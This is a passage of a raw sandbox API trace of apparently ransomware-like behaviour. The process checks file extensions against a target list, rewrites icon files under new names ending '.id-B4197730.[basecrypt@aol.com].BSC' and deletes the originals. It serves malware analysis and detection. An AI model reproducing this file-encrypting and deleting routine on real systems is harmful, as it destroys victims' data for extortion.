lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.078] lstrlenW (lpString=".xlsx") returned 5 [0103.078] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.078] lstrlenW (lpString=".ppt") returned 4 [0103.078] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString=".zip") returned 4 [0103.079] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.079] lstrlenW (lpString=".rar") returned 4 [0103.079] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.079] lstrlenW (lpString=".bz2") returned 4 [0103.079] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.079] lstrlenW (lpString=".7z") returned 3 [0103.079] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString=".dbf") returned 4 [0103.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString=".1cd") returned 4 [0103.079] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString=".jpg") returned 4 [0103.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.079] lstrlenW (lpString=".doc") returned 4 [0103.079] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.079] lstrlenW (lpString=".docx") returned 5 [0103.079] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.079] lstrlenW (lpString=".pdf") returned 4 [0103.079] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.080] lstrlenW (lpString=".xls") returned 4 [0103.080] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.080] lstrlenW (lpString=".xlsx") returned 5 [0103.080] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.080] lstrlenW (lpString=".ppt") returned 4 [0103.080] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.080] lstrlenW (lpString=".zip") returned 4 [0103.080] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.080] lstrlenW (lpString=".rar") returned 4 [0103.080] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.080] lstrlenW (lpString=".bz2") returned 4 [0103.080] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.080] lstrlenW (lpString=".7z") returned 3 [0103.080] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.080] lstrlenW (lpString=".dbf") returned 4 [0103.080] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.080] lstrlenW (lpString=".1cd") returned 4 [0103.080] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.081] lstrlenW (lpString=".jpg") returned 4 [0103.081] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.081] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.081] lstrlenW (lpString="Rotate2.ico") returned 11 [0103.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.081] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=894) returned 1 [0103.081] CloseHandle (hObject=0x32c) returned 1 [0103.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0103.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.082] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.082] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.082] GetLastError () returned 0x0 [0103.082] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.253] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.254] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.254] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.254] SetEndOfFile (hFile=0x358) returned 1 [0103.254] CloseHandle (hObject=0x358) returned 1 [0103.256] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.256] SetEndOfFile (hFile=0x32c) returned 1 [0103.257] CloseHandle (hObject=0x32c) returned 1 [0103.257] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.258] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0103.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.258] lstrlenW (lpString=".doc") returned 4 [0103.258] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.258] lstrlenW (lpString=".docx") returned 5 [0103.258] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0103.258] lstrlenW (lpString=".pdf") returned 4 [0103.258] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.258] lstrlenW (lpString=".xls") returned 4 [0103.258] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.258] lstrlenW (lpString=".xlsx") returned 5 [0103.258] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0103.259] lstrlenW (lpString=".ppt") returned 4 [0103.259] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString=".zip") returned 4 [0103.259] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.259] lstrlenW (lpString=".rar") returned 4 [0103.259] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.259] lstrlenW (lpString=".bz2") returned 4 [0103.259] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.259] lstrlenW (lpString=".7z") returned 3 [0103.259] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString=".dbf") returned 4 [0103.259] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString=".1cd") returned 4 [0103.259] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString=".jpg") returned 4 [0103.259] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.259] lstrlenW (lpString=".doc") returned 4 [0103.259] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.260] lstrlenW (lpString=".docx") returned 5 [0103.260] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0103.260] lstrlenW (lpString=".pdf") returned 4 [0103.260] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.260] lstrlenW (lpString=".xls") returned 4 [0103.260] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.260] lstrlenW (lpString=".xlsx") returned 5 [0103.260] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0103.260] lstrlenW (lpString=".ppt") returned 4 [0103.260] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.260] lstrlenW (lpString=".zip") returned 4 [0103.260] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.260] lstrlenW (lpString=".rar") returned 4 [0103.260] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.260] lstrlenW (lpString=".bz2") returned 4 [0103.260] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.260] lstrlenW (lpString=".7z") returned 3 [0103.260] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.260] lstrlenW (lpString=".dbf") returned 4 [0103.260] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.260] lstrlenW (lpString=".1cd") returned 4 [0103.260] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0103.260] lstrlenW (lpString=".jpg") returned 4 [0103.261] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.261] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.261] lstrlenW (lpString="Rotate8.ico") returned 11 [0103.261] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.323] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=894) returned 1 [0103.323] CloseHandle (hObject=0x32c) returned 1 [0103.323] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0103.323] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.324] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.324] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.324] GetLastError () returned 0x0 [0103.324] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.383] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.384] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.384] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.384] SetEndOfFile (hFile=0x358) returned 1 [0103.683] CloseHandle (hObject=0x358) returned 1 [0103.684] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.684] SetEndOfFile (hFile=0x32c) returned 1 [0103.685] CloseHandle (hObject=0x32c) returned 1 [0103.685] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.685] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0103.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.688] lstrlenW (lpString=".doc") returned 4 [0103.688] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.688] lstrlenW (lpString=".docx") returned 5 [0103.688] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0103.688] lstrlenW (lpString=".pdf") returned 4 [0103.689] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.689] lstrlenW (lpString=".xls") returned 4 [0103.689] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.689] lstrlenW (lpString=".xlsx") returned 5 [0103.689] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0103.689] lstrlenW (lpString=".ppt") returned 4 [0103.689] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.689] lstrlenW (lpString=".zip") returned 4 [0103.689] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.689] lstrlenW (lpString=".rar") returned 4 [0103.689] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.689] lstrlenW (lpString=".bz2") returned 4 [0103.689] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.689] lstrlenW (lpString=".7z") returned 3 [0103.689] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.689] lstrlenW (lpString=".dbf") returned 4 [0103.689] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.689] lstrlenW (lpString=".1cd") returned 4 [0103.689] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.689] lstrlenW (lpString=".jpg") returned 4 [0103.689] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.690] lstrlenW (lpString=".doc") returned 4 [0103.690] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.690] lstrlenW (lpString=".docx") returned 5 [0103.690] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0103.690] lstrlenW (lpString=".pdf") returned 4 [0103.690] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString=".xls") returned 4 [0103.690] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString=".xlsx") returned 5 [0103.690] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0103.690] lstrlenW (lpString=".ppt") returned 4 [0103.690] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.690] lstrlenW (lpString=".zip") returned 4 [0103.690] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString=".rar") returned 4 [0103.690] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.690] lstrlenW (lpString=".bz2") returned 4 [0103.690] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.690] lstrlenW (lpString=".7z") returned 3 [0103.690] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.691] lstrlenW (lpString=".dbf") returned 4 [0103.691] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.691] lstrlenW (lpString=".1cd") returned 4 [0103.691] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0103.691] lstrlenW (lpString=".jpg") returned 4 [0103.691] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.691] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.691] lstrlenW (lpString="SysReqMet.ico") returned 13 [0103.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.692] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1150) returned 1 [0103.692] CloseHandle (hObject=0x364) returned 1 [0103.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0103.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.693] GetLastError () returned 0x0 [0103.693] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.880] WriteFile (in: hFile=0x370, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.881] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.881] WriteFile (in: hFile=0x370, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xee, lpOverlapped=0x0) returned 1 [0103.881] SetEndOfFile (hFile=0x370) returned 1 [0103.881] CloseHandle (hObject=0x370) returned 1 [0103.882] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.882] SetEndOfFile (hFile=0x364) returned 1 [0103.882] CloseHandle (hObject=0x364) returned 1 [0103.882] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.883] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.883] lstrlenW (lpString=".doc") returned 4 [0103.883] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.883] lstrlenW (lpString=".docx") returned 5 [0103.883] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.883] lstrlenW (lpString=".pdf") returned 4 [0103.883] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.883] lstrlenW (lpString=".xls") returned 4 [0103.883] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.883] lstrlenW (lpString=".xlsx") returned 5 [0103.883] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.883] lstrlenW (lpString=".ppt") returned 4 [0103.883] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.883] lstrlenW (lpString=".zip") returned 4 [0103.883] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.883] lstrlenW (lpString=".rar") returned 4 [0103.883] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.883] lstrlenW (lpString=".bz2") returned 4 [0103.884] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.884] lstrlenW (lpString=".7z") returned 3 [0103.884] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString=".dbf") returned 4 [0103.884] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString=".1cd") returned 4 [0103.884] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString=".jpg") returned 4 [0103.884] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString=".doc") returned 4 [0103.884] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.884] lstrlenW (lpString=".docx") returned 5 [0103.884] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.884] lstrlenW (lpString=".pdf") returned 4 [0103.884] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString=".xls") returned 4 [0103.884] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString=".xlsx") returned 5 [0103.884] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.884] lstrlenW (lpString=".ppt") returned 4 [0103.884] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.884] lstrlenW (lpString=".zip") returned 4 [0103.884] lstrcmpiW 